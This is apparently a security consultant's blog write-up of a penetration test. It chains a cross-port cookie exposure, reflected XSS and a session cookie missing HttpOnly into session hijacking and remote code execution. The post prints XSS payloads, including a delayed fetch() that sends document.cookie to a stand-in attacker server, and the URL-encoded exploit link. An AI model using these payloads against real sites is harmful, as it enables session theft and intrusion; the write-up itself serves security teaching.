From Informational to Critical: Chaining & Elevating Web Vulnerabilities
As a Security Consultant II at NetSPI, I’ve had the opportunity to dig into a variety of security issues during engagements, ranging from simple misconfigurations to complex attack chains. One recent project gave me the opportunity to uncover a critical vulnerability by chaining multiple findings together. This turned an initially informational issue into a high-severity, exploitative scenario. This blog will detail the steps I took, the vulnerabilities I found, and show how a seemingly benign misconfiguration led to full administrative access and exploitation of remote code execution (RCE).
Read more from the author: CVE-2024-37888 – CKEditor 4 Open Link Plugin XSS
Setting the Scene: The Applications and Their Vulnerabilities
During the engagement, we had multiple applications in scope. All the applications were running on the same hostname, but on different ports. For simplicity, I’ll be referring to three of them as applications A, B, and C:
Host: example.com
- Application A: example.com:1111
- Application B: example.com:2222
- Application C: example.com:3333
All of the applications used the Authorization Header for authentication.
Note that Application B has been mentioned below as a reference to show its similarity with Application C and does not directly take part in the exploit chain.
Here’s a brief overview of the application configurations and vulnerabilities:
- Application A: Vulnerable to Reflected Cross-Site Scripting (XSS) that could not be exploited for session hijacking due to HttpOnly flags on cookies and lack of session-based authentication.
- Application B: Vulnerable to File Upload Remote Code Execution (RCE), rated as High Severity, but required an Admin account for exploitation. Additionally, there were sensitive Spring Boot actuator endpoints exposed, which also required admin privileges for exploitation.
- Application C: Similar to Application B in terms of the RCE vulnerability and sensitive Spring Boot actuator exposure. The only interesting fact here was that the application also supported session-based authentication in addition to authorization header-based authentication.
What made this scenario interesting was the Weak Configuration – Cross-Application Cookie Exposure on Different Ports vulnerability, a newly identified finding that I had just added to my testing methodology. All three applications were running on the same host (example.com), but on different ports, and they shared the same domain. While this might seem harmless at first, it created a security gap.
The Attack Chain Begins: Cross-Application Cookie Exposure
The issue stemmed from the fact that all applications were sharing the same cookie storage on the client side. This led to an Informational Severity finding, due to the way cookies were scoped to the parent domain (i.e., example.com). While each application had its own port, they were all vulnerable to Cross-Application Cookie Exposure, a scenario where cookies could be leaked between the different applications running on the same domain.
Although important, this finding did not initially have a major impact, because none of the applications depended on session-based authentication. However, that changed when I noticed something unusual in Application C.
A Lightbulb Moment: Session-Based Authentication in Application C
Unlike Applications A and B, Application C supported both Authorization Header-based authentication (like the other two applications) and Session-based authentication. During the login process, Application C sends a request to /rest/v1/authenticate with the Authorization header, and in response, it issues a valid JSESSIONID session cookie which can be used for authentication in subsequent requests.
HTTP Request:
POST /rest/v1/authenticate HTTP/1.1 Host: example.com:3333 Authorization: Basic [REDACTED]
HTTP Response:
HTTP/1.1 200 Set-Cookie: JSESSIONID=B7223B56E59AEED6E0FF8A8880C05447; Path=/; Secure
The interesting part? The JSESSIONID cookie lacks the HttpOnly flag, which was a major red flag, especially when compared to the cookies issued by Applications A and B, both of which had the HttpOnly flag set.
This discovery was pivotal. I could now attempt to hijack Application C’s session using the XSS vulnerability in Application A. However, there were several hurdles to overcome.
Challenge 1: Same Cookie Name, Overwritten Session Cookie
The first challenge was that Application A also issued a session cookie with the same name (JSESSIONID), which would overwrite the session cookie from Application C in the client’s cookie storage. Application A’s JSESSIONID contained the HttpOnly flag, and since this flag prevented JavaScript access to the cookie, the XSS payload in Application A could not directly access the JSESSIONID.
Luckily, there was a workaround. Application C made periodic AJAX requests to /rest/v1/authenticate every 2-3 seconds to keep the session alive. If an invalid JSESSIONID was included in these requests, Application C would re-authenticate and issue a new session cookie. This behavior allowed me to force Application C to overwrite the JSESSIONID cookie after it was initially replaced by the one from Application A.
Challenge 2: Accessing the Cookie via XSS
The next challenge was to figure out how to access the cookie. Initially, the XSS payloads did not give me access to the cookie and instead triggered an alert with =undefined.
The issue was that when I visited Application A with my payload, the JSESSIONID cookie from Application C was rejected by the server, and a new cookie (with the HttpOnly flag) was issued by Application A.
However, after 2-3 seconds, when Application C issued its new session cookie, the cookie storage was updated, and I was able to access the session cookie without the HttpOnly flag from Application C only via the console using document.cookie.
I attempted various delay methods to give the session cookie of Application C time to load, such as:
<script>window.onload=alert(document.cookie)</script> <script>document.onload=alert(document.cookie)</script> <script>document.addEventListener("DOMContentLoaded", (event) => {alert(document.cookie)});</script>
Nothing worked. I was about to give up when I noticed something crucial—the overwriting of the JSESSIONID cookie from Application C didn’t happen instantaneously. It took a few seconds for the cookie to be updated. So, I decided to add a 5-second delay before executing my payload:
<script>setTimeout(() => { alert(document.cookie) }, 5000)</script>
This worked perfectly! I was able to access the JSESSIONID cookie issued by Application C, and I quickly crafted a stealthy payload to steal it:
<script>setTimeout(()=>{fetch('https://my-malicious-server.com?cookie='+document.cookie).then()},5000)</script>
I encoded the URL to bypass any server restrictions and crafted the final exploit URL:
https://example.com:1111?id=<script>setTimeout%28%28%29%3d>%7bfetch%28%27https%3a%2f%2fmy-malicious-server.com%3fcookie%3d%27%2bdocument%2ecookie%29%2ethen%28%29%7d%2c5000%29<%2fscript>
Once the victim clicked the link, the cookie value was exfiltrated to my server.
Escalating the Impact
At this point, I had successfully hijacked the session cookie for Application C and had admin access. Application C was also vulnerable to an RCE and had sensitive Spring Boot actuators exposed. Using the stolen session cookie, I was able to exploit these vulnerabilities and gain full access to the backend server hosting all the applications.
Bumping Up the Severity
Initially, the Weak Configuration – Cross-Application Cookie Exposure finding had been rated as Informational due to its lack of immediate impact. However, by chaining it with other vulnerabilities, such as the XSS and the absence of the HttpOnly flag on Application C’s session cookie, I was able to escalate the finding to Critical severity.
This chain of attacks allowed me to exploit the Remote Code Execution (RCE) vulnerability without requiring Admin privileges by hijacking the session. This turned an otherwise harmless misconfiguration into a full-fledged critical risk.
Full Attack Chain
Conclusion
This engagement was a perfect example of how multiple vulnerabilities in seemingly unrelated applications can be chained together to create a critical security risk. What started as an informational finding became a full-blown exploit chain, ultimately leading to administrative access on Application C and exploitation of Remote Code Execution.
The lesson? Never underestimate the potential impact of a simple misconfiguration. Even seemingly minor issues can lead to devastating consequences when combined with other vulnerabilities.
Authors:
Explore more blog posts
Practical Methods for Decapping Chips
Discover the intricate process of chip decapping, exposing secrets stored within snuggly layers of industrial epoxy, sleeping in beds of silicon.
Hijacking Azure Machine Learning Notebooks (via Storage Accounts)
Abusing Storage Account Permissions to attack Azure Machine Learning notebooks
Celebrating NetSPI’s Partners of the Year 2024
Congratulations to NetSPI’s 2024 Partner of the Year Recipients Defy Security, VLCM, Softcat, Enduir, Evotek, and AWS